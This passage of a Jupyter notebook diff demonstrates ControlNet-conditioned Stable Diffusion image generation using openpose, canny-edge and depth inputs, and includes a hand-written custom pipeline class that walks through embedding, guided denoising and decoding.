"dddba90edf87434aa404eea38eaa63f2", + "a32f66c9b59e4ae2bca41c1c582119e7", + "e8cbb2d5adae4b439639631ea833be72", + "06f53eb5d18941d8a947bcb21676e9c7", + "455bc344fe60421da1ac931657cbd162", + "88491458b25e4ae5a66afeaae7f76c12", + "32bb55abea4f4ea2a7ea8a28a45eeb16", + "90d2a57096964b7a9e2aef14ec54e2a7", + "a526959014a644cba47969ebba62fa7c", + "ceb41aa2ac6c4c1982598a5085f7a977", + "8dd1b3d2ce124d2a92d69bb1897a078e", + "c7eafdcd51dc419c99b3248093fbfbff", + "5eca9f78607349a9893b0c88f3c53181", + "719559db7a7943fbb823795a1697a10c", + "445925a5c9da455c90fd9225ab521c1f", + "2898c9af6aea4c79a4f9e89e24275083", + "c34ca1ea918344188c3241400aa3e775", + "dd9945400a2c413589af32550427f92d", + "8328f2c010f4426fbfef22482701f516", + "edaf046faeb8459bbe937cae180bfc4e", + "8cb0f3ae820947a5984dd422b33776dd", + "ea6ed2a4fd9c49579f25b2f0e9af3f3c", + "41b442152042436ea0703d3c1181824d", + "f3af911e563d47eca89517bdc434c911", + "b5462a2b462147899d82f6b4617cf781", + "d84093973fe84b06bb05f125ab7a11bb", + "3cdb72138ffe4261a6cfcd9bcf4776c4", + "3bdc5d0f6e324afaae6d5a4aabff98d2", + "18a72653fc284d29be02e4d2a477ecdd", + "ff1597bd843b4770b93ffa71f0b05da4", + "b3bd2d853e02483080ff7dfbd5b448e0", + "55f31f27ce954a0c8c0d1e63938c7bc0", + "40ef1d0b44164265bea4eea32ce1b907", + "3da34455151b42319fc32e56afeb7959", + "1bf842268bf64cadbf2bda6da0d4a690", + "452c129fabca48efa832b81481703bab", + "6e327baf7a9144fcaff7c6317d018862", + "72d25c37112c403eaf801833a03a47b2", + "8c4e2621ec244a2db21262a8ed0e4ab7", + "965fb38eae6a45678d87fc3e24eb5241", + "0da3c6cd22da482c88af347dcbdf0d8e", + "f7dd7600e3374757bdb1dad3d2e29d4e", + "dffc9bcfd178487e93b34f91eae3b8e8", + "7016696c087c4b3d85d5928cca064add", + "f4accfef05c24411bbd0fae1f7fbf7cb", + "941873b1d19b4c2da615ed461fc6cbc7", + "6ea8901001af4f2aa0039b18f5e758a4", + "ecc46cbc78fe4d9f8af50970839d3891", + "7301b1053b6446da9756caeb59d5be8b", + "94fba57a53d04861ab5a889193d27f83", + "aafa0b9b142a44f79368f411710ea55c", + "2aeb8135603c46c1aa80e2c3580b897f", + "a2630966b93643e99721ea631339d088", + "6ca84bcd6bea4a92a80d50351aa1be4f", + "d2a03fa596c34b12a1aed264e8d08077", + "74702e35e09048eabfb470dc85fb5be4", + "4276b44c60b64716ab7ad52d8354bc1f", + "87fcb7d5949d440dbe3c18e7059e65ad", + "173d85b54dd4419883fc83cfa2beacc5", + "cd4f33b831ff4bd4afabbdec87b9bc8d", + "79b1b7bd05714b528d9a617b1c875dfe", + "d6a728463cce43d2a0c8573e5faf2dde", + "e59d5e76445943c39cdb32721727d3e8" + ] + }, + "id": "ts8fiPLordOD", + "outputId": "08a7450f-8e53-48a4-9c2d-2994353c3140" + }, + "outputs": [], + "source": [ + "# load the openpose model\n", + "openpose = OpenposeDetector.from_pretrained('lllyasviel/ControlNet')\n", + "\n", + "# load the controlnet for openpose\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"lllyasviel/sd-controlnet-openpose\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# define stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "LPdQiPkXri1y" + }, + "outputs": [], + "source": [ + "# Remove if you do not have xformers installed\n", + "# see https://huggingface.co/docs/diffusers/v0.13.0/en/optimization/xformers#installing-xformers\n", + "# for installation instructions\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 657 + }, + "id": "f_HH_n8WrdQN", + "outputId": "2432a1d8-cdec-4b0e-ca8e-d62ce008136e" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://cdn.pixabay.com/photo/2016/05/17/22/19/fashion-1399344_640.jpg/")\n", + "image_input" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "AUJikHhlrdSX", + "outputId": "398bd929-ff3e-4f05-cad6-a3079b911d75" + }, + "outputs": [], + "source": [ + "image_pose = openpose(image_input)\n", + "image_pose" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "b5a39dc5eccf4747ade601d25681c2b2", + "1ce482eed7dd4a62b5c97b7fae38f392", + "f566fa59f127470087bb68beea6ee8fb", + "6c0b26e65230468cb5ef11d3d0bf1bd3", + "aa4097be74c3412eb9571ed6ef250828", + "f02818f8f3d54f72961c51e8fe526dc2", + "8d2da5062f414a7f8c98facdd7d2bad0", + "2fa71efbdefa4607b37d985b272fcffa", + "e20f4ef3c100484cae5ba0a570be604c", + "f48bc2b8666b4e48a6f8cad4cda2530d", + "29e96ee99a714e2c86a0d68be1a31055" + ] + }, + "id": "0MfsiN_Jri4G", + "outputId": "5286a2ac-13a3-4c35-80ab-a9968c9c8602" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A professional photograph of a male fashion model\", image_pose, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "HEiobo68Kzso" + }, + "source": [ + "# Custom implementation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "0y9iWI9cK17f" + }, + "outputs": [], + "source": [ + "class ControlNetDiffusionPipelineCustom:\n", + " \"\"\"custom implementation of the ControlNet Diffusion Pipeline\"\"\"\n", + "\n", + " def __init__(self,\n", + " vae,\n", + " tokenizer,\n", + " text_encoder,\n", + " unet,\n", + " controlnet,\n", + " scheduler,\n", + " image_processor,\n", + " control_image_processor):\n", + "\n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.scheduler = scheduler\n", + " self.controlnet = controlnet\n", + " self.image_processor = image_processor\n", + " self.control_image_processor = control_image_processor\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + "\n", + "\n", + "\n", + " def get_text_embeds(self, text):\n", + " \"\"\"returns embeddings for the given `text`\"\"\"\n", + "\n", + " # tokenize the text\n", + " text_input = self.tokenizer(text,\n", + " padding='max_length',\n", + " max_length=tokenizer.model_max_length,\n", + " truncation=True,\n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + " return text_embeds\n", + "\n", + "\n", + "\n", + " def get_prompt_embeds(self, prompt):\n", + " \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n", + "\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds([''] * len(prompt))\n", + " # concatenate the above 2 embeds\n", + " prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n", + " return prompt_embeds\n", + "\n", + "\n", + " def transform_image(self, image):\n", + " \"\"\"convert image from pytorch tensor to PIL format\"\"\"\n", + "\n", + " image = self.image_processor.postprocess(image, output_type='pil')\n", + " return image\n", + "\n", + "\n", + "\n", + " def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n", + " \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n", + "\n", + " image_latents = torch.randn((batch_size,\n", + " num_channels_latents,\n", + " height // 8,\n", + " width // 8)).to(self.device)\n", + " # scale the initial noise by the standard deviation required by the scheduler\n", + " image_latents = image_latents * self.scheduler.init_noise_sigma\n", + " return image_latents\n", + "\n", + "\n", + "\n", + " def denoise_latents(self,\n", + " prompt_embeds,\n", + " controlnet_image,\n", + " timesteps,\n", + " latents,\n", + " guidance_scale=7.5):\n", + " \"\"\"denoises latents from noisy latent to a meaningful latent as conditioned by controlnet\"\"\"\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(timesteps)):\n", + " # duplicate image latents to do classifier free guidance\n", + " latent_model_input = torch.cat([latents] * 2)\n", + " latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n", + "\n", + " control_model_input = latents\n", + " controlnet_prompt_embeds = prompt_embeds\n", + "\n", + " # get output from the control net blocks\n", + " down_block_res_samples, mid_block_res_sample = self.controlnet(\n", + " control_model_input,\n", + " t,\n", + " encoder_hidden_states=controlnet_prompt_embeds,\n", + " controlnet_cond=controlnet_image,\n", + " conditioning_scale=1.0,\n", + " return_dict=False,\n", + " )\n", + "\n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(\n", + " latent_model_input,\n", + " t,\n", + " encoder_hidden_states=prompt_embeds,\n", + " down_block_additional_residuals=down_block_res_samples,\n", + " mid_block_additional_residual=mid_block_res_sample,\n", + " )['sample']\n", + "\n", + " # separate predictions for unconditional and conditional outputs\n", + " noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n", + "\n", + " # perform guidance\n", + " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n", + "\n", + " return latents\n", + "\n", + "\n", + "\n", + " def prepare_controlnet_image(self,\n", + " image,\n", + " height,\n", + " width):\n", + " \"\"\"preprocesses the controlnet image\"\"\"\n", + "\n", + " # process the image\n", + " image = self.control_image_processor.preprocess(image, height, width).to(dtype=torch.float32)\n", + " # send image to CUDA\n", + " image = image.to(self.device)\n", + " # repeat the image for classifier free guidance\n", + " image = torch.cat([image] * 2)\n", + " return image\n", + "\n", + "\n", + "\n", + " def __call__(self,\n", + " prompt,\n", + " image,\n", + " num_inference_steps=20,\n", + " guidance_scale=7.5,\n", + " height=512, width=512):\n", + " \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n", + "\n", + " # encode input prompt\n", + " prompt_embeds = self.get_prompt_embeds(prompt)\n", + "\n", + " # prepare image for controlnet\n", + " controlnet_image = self.prepare_controlnet_image(image, height, width)\n", + " height, width = controlnet_image.shape[-2:]\n", + "\n", + " # prepare timesteps\n", + " self.scheduler.set_timesteps(num_inference_steps)\n", + " timesteps = self.scheduler.timesteps\n", + "\n", + " # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n", + " num_channels_latents = self.unet.config.in_channels\n", + " batch_size = prompt_embeds.shape[0] // 2\n", + " latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)\n", + "\n", + " # denoise latents\n", + " latents = self.denoise_latents(prompt_embeds,\n", + " controlnet_image,\n", + " timesteps,\n", + " latents,\n", + " guidance_scale)\n", + "\n", + " # decode latents to get the image into pixel space\n", + " latents = latents.to(torch.float16) # change dtype of latents since\n", + " image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n", + "\n", + " # convert to PIL Image format\n", + " image = image.detach() # detach to remove any computed gradients\n", + " image = self.transform_image(image)\n", + "\n", + " return image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "kugjwBC3K4JK" + }, + "outputs": [], + "source": [ + "# We can get all the components from the ControlNet Diffusion Pipeline (the one implemented by Hugging Face as well)\n", + "vae = pipe.vae\n", + "tokenizer = pipe.tokenizer\n", + "text_encoder = pipe.text_encoder\n", + "unet = pipe.unet\n", + "controlnet = pipe.controlnet\n", + "scheduler = pipe.scheduler\n", + "image_processor = pipe.image_processor\n", + "control_image_processor = pipe.control_image_processor" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "6ooKnlkVK4LV" + }, + "outputs": [], + "source": [ + "custom_pipe = ControlNetDiffusionPipelineCustom(vae, tokenizer, text_encoder, unet, controlnet, scheduler, image_processor, control_image_processor)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "BYW8mEH2K4NY", + "outputId": "6e610454-e4c4-4c9d-c091-23cf9cbecec9" + }, + "outputs": [], + "source": [ + "# sample image 1\n", + "images_custom = custom_pipe(\"a fashion model wearing a beautiful dress\", image_pose, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "w4XGMCsUK4RA", + "outputId": "59e49ba7-d3c3-4fd7-bf0c-ed9ac23695dd" + }, + "outputs": [], + "source": [ + "# sample image 2\n", + "images_custom = custom_pipe(\"A male fashion model posing in a museum\", image_pose, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "GU9P7QMacZTW", + "outputId": "b3c7e3aa-04b1-47c9-e29d-a8b68457b8e8" + }, + "outputs": [], + "source": [ + "# sample image with a different prompt\n", + "images_custom = custom_pipe(\"A professional ice skater wearing a dark blue jacket around sunset, realistic, UHD\", image_pose, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "tXShSB0Fd7qd" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "9dW5PCk0d7t7" + }, + "outputs": [], + "source": [] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "fwnnyHq3oi7O" + }, + "source": [ + "# Canny" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "1L96sjJ_oi7P" + }, + "outputs": [], + "source": [ + "import cv2\n", + "from PIL import Image\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "import torch\n", + "import numpy as np\n", + "from diffusers.utils import load_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 566, + "referenced_widgets": [ + "6846be1897c64311a10d421483131bf9", + "147cd6ad4d4c4fca82a7a531684ffd2a", + "6f88f6e516064ed1a82e1d69742d324c", + "9998dc803aec438ab2bbdcb1edb8ab4e", + "67f164f2226d430eb0c2cd3c63d14368", + "4fbfe981703e4365a6e944cb9f3913d5", + "ce5e2b3caef7421da3383cbdfc5b271f", + "f1a22eae63cb4eb982a02ccd11422014", + "aac46407f5d74ebbb6a58b10de9b86f4", + "713f6c4e65a5418481d59fb756bd043c", + "365b7759e93949dd891bacc424e797f3", + "9e9bd7cc85b04308b20943578ad51fa7", + "743a58e2430947808aac30953973ec71", + "600acc1527c4482fb7307f2d423a0a01", + "84f1832335f44d73b6a1a588f0e79a11", + "03264d2988b849369f26e62a0a010d51", + "a56166c024494356bc1b9a9e9a434c86", + "e404d2f75cdc4a9397c82bca53ca3fad", + "f16aa25f9d2b49cc87cde26cf7dc316f", + "a263feafcec44c2eab4150af170d670a", + "e90005c8a5664c6f80e37268666f1a9f", + "783dca59f6a54589b6fb848cb13c5f3f", + "72fb9eafc22a4533a62e3189f3b65b04", + "febabb96db10490f835e4c5f6512ea61", + "5fc991cde70546d3a665982956cca6b5", + "f5e6af9d73ed4f3d9726bffba48540ee", + "7027773c6c484afa9ee32448a320f948", + "834aa09c8e984c819849676acdf25dae", + "6224c6c1d4b145ed86564e7d62fbe4c2", + "2dc4775bcef749b7bbbb3f71d714211c", + "838cb3152f3c48ec814de02def9b75f2", + "0a6ed397228f4a1fafe9dfecc4c39ef6", + "e2eaf1b78df545feb426d75ec556f8a3", + "db3e2ef136864292b6cc51ede3713a4d", + "554525ce609044b68804e97c6b45c510", + "97dfae674a3b415d9015760abea61968", + "e4394ac60eef460e8f37fac24327ab77", + "ffd1b0965ac748a3857a947c94e192dc", + "0d45fef5bbf447938e7621e77207e1ae", + "681be606b86c42fd9cad68e63e2782de", + "a0f1a81a8d8f4e05a26d7a0a61565c53", + "7f36f3521fa14a37b0fad0702bf9a4e3", + "51b27a7dc0d34dd09b1ea17aba1fb697", + "2a8c5504fb034f608567f8d706389d79", + "ebe0534f9b4c4f92ae488a8d3e5867d6", + "e7a84d718566443bba6c79729de0518a", + "8cec2e55fc3542789938c24adb050ca9", + "5248a6e5d8044c53803426afaf2439af", + "10ae3f8453744a7e9737a9a0914dfeab", + "81b870c0f0b6482a9f1dbd3fac0d935c", + "ff464c023f0546209b15c44a39b4b75e", + "ec7bdbec2fc342f38039b8420a162a25", + "dab4d54863e24f169f18999da88be46f", + "d50a15bbc94f49c39941bacd8c7b99ba", + "a8dcc8f3435a4870a76be1729b003b6f", + "e19591097be54f3d954a75bf14968b46", + "f92c9532d4644693831a67344d499ff5", + "a283d06ba73a4fc98e18e7080e794edf", + "5837463f803c4c93b91a21d9854ae574", + "ca5bf86a004a45a6ae2067fdc6eef091", + "c389029d6e9445febf2f623921140abe", + "9eda2eb5008b4f2d8269523ee5ce2ffe", + "44bc01157b4945b7b81401f978dce8ca", + "e39e7bf535fb4492ae9ac75591e79287", + "cb157284f72d428fb786527ce87d11a2", + "24030dedd2f24e2cbfa3833249d09810", + "b3d9135383894e049a5f6f7fc77d7b5a", + "a97373cd0b29464dac7d2b3bfe3aa276", + "10bfbe36a3e24b30a6e300e852ff7811", + "af944c373890491698424b1ca1c6969b", + "3b250841cf664fcd8a57fb25d23b29ee", + "745c74b4ac1942c497d0bee51b2e7b17", + "89feac2a7b7d47388548f946fff4c862", + "6e7d3e445440469baa5aaab1cbbb9291", + "a3ca3b9ce6b24d43bdf8361379b6d502", + "b82b0f73fa4d4fc395d106930015c7a0", + "bd3c80a835d242d19fe187d65e737d6c", + "ca9e4db991b54eb986375b30bb367afa", + "4c8fa5fd3d224ce694243ea790de8986", + "b2efd56d5e834196818f46a7b287c2c3", + "3097e4c3b53e4343a9ed6860b8d3d033", + "a3fc1ea7dc724184ae564edeb2e755ba", + "28baa1ec6f3c46309c04f2c8462b1798", + "9cc4d939cc454a0da5eb7bdd234f69b5", + "058220c3342b49e0bcc1f0973566ac72", + "7db99c4ea5e14e9bb5180a5beb4cc142", + "344e28ed2fc344f4ad5ab6f62a042631", + "dc495adaeb53477d903ce952060e4f3f", + "d95e3f841d4f4f278fb3adae0b11d4c3", + "ee9448f0b9964d8fad850501e08e3c84", + "485caac1aa1641a3b31827620ddfa3e4", + "55fe364a57aa4eaa93cb93b889d241c5", + "3deaa7c9f0c940c3af3b9a7c5d0c8de4", + "93df8bff634740a29f3820042d69347f", + "373d310d37454a409b53c30e7d7d1de5", + "bcd48b3b056c4c14b6034ef32fdde5d5", + "948f2f29870b4ee7974ddad6ba18397d", + "978a0bae9c5f4ab7ac45f1f4f870fef0", + "233120cc0399483ea17284432feb16d3", + "183551cc7517479db8e0fffe634f2e6c", + "90398133563a48288ebf11cf0e0e242d", + "b6c5549bd95644ad9e553c2e59199f04", + "48ec35653f99446db9cefabe146bb2d8", + "84e8bc8164b948d8897a8637c226ef1c", + "89abbaee27c441b3ab1c656806a7e67d", + "9a46a59ffb8d44c89b067519101f7a74", + "c0771d4d9b7242c4a1b6ea8954e9e96e", + "682a337dc14e48908be4cf40f7320d1f", + "6d699038776e4fad8bb74d2381109b65", + "38dd90648c1949b196ebf27fb21436ba", + "dde9a4c3dd824b6f8345b29f2a28ef5f", + "6da0c63935ac4ee4bfe6a6efbedfa93d", + "42109c92a03c45cabd7fbb0cc7cf1c4a", + "db6ac9519e6a438ebca23446b0f2a4aa", + "8adb835bb80941dfa3e21c9dac93d793", + "e57b840c4d3c4abcae1b69b189701c72", + "304e7a7a38834b3093002b6694c7cb67", + "5056e439bb4b4bad8b0694c79138424f", + "7d6d17a2798c41c6b27c25e1057869a3", + "52a201ace1f647059d93e5d9406afee5", + "43820ed672c04bbf80155b25c4e4de15", + "b8a38cb7b914460caf5f190692f5b935", + "633f3db9f5dd4f6984aa821a1717c03b", + "c184aabb31504cbd8361a9ab06899438", + "5c428d2de97f4bc28835ead1f6331e9e", + "229a1efdf3df4fe9aac07562774b084b", + "697d6a7fa4ee4d37bb80d624ffedf526", + "c87c97a9ed4b493c8d6df7d11b1684ca", + "9ee7a0fe9750457abaf427983e5866fe", + "103ffa0973364618b4ce1d5528078062", + "b08e7b6e25c24054ac5b2b18bcb6f2ae", + "5532a6b6181a4aecbfca636813b661fd", + "4f425c415dac44b3b86aa4f481254196", + "97ffad3c1b6e4c9c9621966c028c12aa", + "3c2af8d5617b4b878b2e68f3fc7ebff6", + "8d27414ca68a4494ab3febc1c8a03025", + "10f4d1976dc04c3bb651b45c08298fab", + "eb72384f0e50444d9db03c12aca4b899", + "e7ddc52526db41e4907a2ede8dcef7c7", + "9f4a6f9a897c4db0a8d92bf01f3f820c", + "88e4029063f44ce5a7e89e8f17664eeb", + "77a73421b7ae4bfe9fcb87353a121402", + "7bee130b66754bbc85e8454455ece425", + "f61abe945b124e31a72254333f26c785", + "b1da7b0efaaf4db4a7660bc5457f2bfa", + "3e55680d33db47099479572d0c8915f2", + "c48ca8b557154fac885edaebc4879321", + "d4c261dab25d405ba560d4626683bccb", + "1daa130f38a84c6d9a4149536b21927e", + "bf14652b43264c2b884e2d19786d6f5e", + "a94d5d8411844431bb022813d14461c0", + "161da25b295b4afa8f8b88507818d052", + "fd444832eb3b4399946317b54b495d52", + "629f9b2f0b79420ba0baeb5961df73da", + "869c22e5399145dab7e36633b910abca", + "6e89b30bfcd04f1ebc77492eae365847", + "7f27d4dadc2a4c4783f35193cf085593", + "fa4ce3277cce4064aaf40849870966c1", + "d2324949415f4df2a964046b326231a4", + "4a3c28369fc14bbebdc749d0b3a5747b", + "be72ef0e4b8840608fd9160a6b43075d", + "6d8e99610d624a09a53ef0c77b3f0c25", + "b9df58ad481f414f8240ce076cf53363", + "3b2265f2c01844fb9c99e18c61344d69", + "e060cf453034447dba6af95a918e3092", + "7f49c5a346894250ad0587fa3420635a", + "c318de49fe3a455992738cf20f7099ad", + "3ff34cbabc564abebd12a9e5e19786b0", + "611bde262a924746a253ab5481b9b212", + "3ae595d0044944ea959d949d8c68d509", + "5494938bff7d4c6da3d82f1034404362", + "f05ad5aa13a040609336f0d6b2580be2", + "02648abd8847434496722b0c5bb69858", + "e3b2deb57c0644dcbf97297abf22f91c", + "7267e3d447ef4dfa97c3fc6a560ea797", + "2bc90ab8db7b4f979ff0cb5eb01284a6" + ] + }, + "id": "Dhg4rTN3oi7P", + "outputId": "f2114cf6-bbc5-4e5e-827e-e5fc0a92351e" + }, + "outputs": [], + "source": [ + "# load the controlnet model for canny edge detection\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"lllyasviel/sd-controlnet-canny\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# load the stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "H-m6uNFCoi7P" + }, + "outputs": [], + "source": [ + "# enable efficient implementations using xformers for faster inference\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 441 + }, + "id": "ATEwEV-6oi7Q", + "outputId": "055658c9-5ab9-4496-a407-f4a213f84bd8" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://cdn.pixabay.com/photo/2023/06/03/16/05/spotted-laughingtrush-8037974_640.png/")\n", + "image_input = np.array(image_input)\n", + "\n", + "Image.fromarray(image_input)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 441 + }, + "id": "K2c64abboi7Q", + "outputId": "fd9de66a-d340-4b1e-bc51-7e9c96f1f80a" + }, + "outputs": [], + "source": [ + "# define parameters from canny edge detection\n", + "low_threshold = 100\n", + "high_threshold = 200\n", + "\n", + "# do canny edge detection\n", + "image_canny = cv2.Canny(image_input, low_threshold, high_threshold)\n", + "\n", + "# convert to PIL image format\n", + "image_canny = image_canny[:, :, None]\n", + "image_canny = np.concatenate([image_canny, image_canny, image_canny], axis=2)\n", + "image_canny = Image.fromarray(image_canny)\n", + "\n", + "image_canny" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "27d1ad377e6c45d7b4b1c49786438015", + "475c331703bb43adb142f6c9cc41a3bf", + "10be4b9595c84f36aeab9593e63440e6", + "645ebe129fd544a4b9383dfc1414cf0a", + "51605e182e344a94a99c50fcaaef17b1", + "c45aec98de234d3982ff83924dce8d7a", + "942ace43ed1d48aeafc6c5e17f14e034", + "51890b032fbb48139e11d69850a6db57", + "30408dcf6dd14e27bab9cc06cc664c4c", + "b539338d7bf84f50a8c57f90986a8d9a", + "d16de73052ac42e8a8065d4dc54ebe51" + ] + }, + "id": "zac6FpNwoi7Q", + "outputId": "8bf84b99-fe11-43d2-82e2-f2b35ae99d5a" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"bird\", image_canny, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "48a26564f08f43dd962464feb762c232", + "c6965bc561db4c519b751c5b7bff96a8", + "032471548f5c45ed89d8a62db800c7fc", + "0af102aac55747fcb8854b8b5ed2dd27", + "a086d1c6722547d5be5939cf4284a1ef", + "ba3cf4ae2c4e45e58abb82d2491fb7ba", + "c64f35616d8e4b4bb129bc7aaa4ae889", + "01fc82bb9bb84c628890b9a2349a6e6e", + "f66573653707458f80b29a40e1193d31", + "7b0ece2c75614540a942214d1f527f91", + "0d3e1914b85047c7af6b6bd4fd94e197" + ] + }, + "id": "DXrdLeZrplMW", + "outputId": "31bb0440-493a-4ee8-edc0-23c090f679c4" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"a cute blue bird with colorful aesthetic feathers\", image_canny, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "-Yti9Dg8ofxd" + }, + "outputs": [], + "source": [] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "-o-9jxdtpvgi" + }, + "source": [ + "# Depth" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "rgwvAu2xpvgj" + }, + "outputs": [], + "source": [ + "from transformers import pipeline\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "from PIL import Image\n", + "import numpy as np\n", + "import torch\n", + "from diffusers.utils import load_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "IcxFcjHspvgj", + "outputId": "79bed3a2-27b2-411e-a748-22949d5cac62" + }, + "outputs": [], + "source": [ + "# load the depth estimator model\n", + "depth_estimator = pipeline('depth-estimation')\n", + "\n", + "# load the controlnet model for depth estimation\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"lllyasviel/sd-controlnet-depth\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# load the stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "QfZNDXHgpvgj" + }, + "outputs": [], + "source": [ + "# enable efficient implementations using xformers for faster inference\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 475 + }, + "id": "t0_6mNOgpvgj", + "outputId": "8dd080e3-9fbb-4bc5-bd4c-375a4e1f18ee" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://huggingface.co/lllyasviel/sd-controlnet-depth/resolve/main/images/stormtrooper.png/")\n", + "image_input" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 475 + }, + "id": "oTim6FQrpvgk", + "outputId": "4cc296a7-0822-4012-a07c-232f14bb039e" + }, + "outputs": [], + "source": [ + "# get depth estimates\n", + "image_depth = depth_estimator(image_input)['depth']\n", + "\n", + "# convert to PIL image format\n", + "image_depth = np.array(image_depth)\n", + "image_depth = image_depth[:, :, None]\n", + 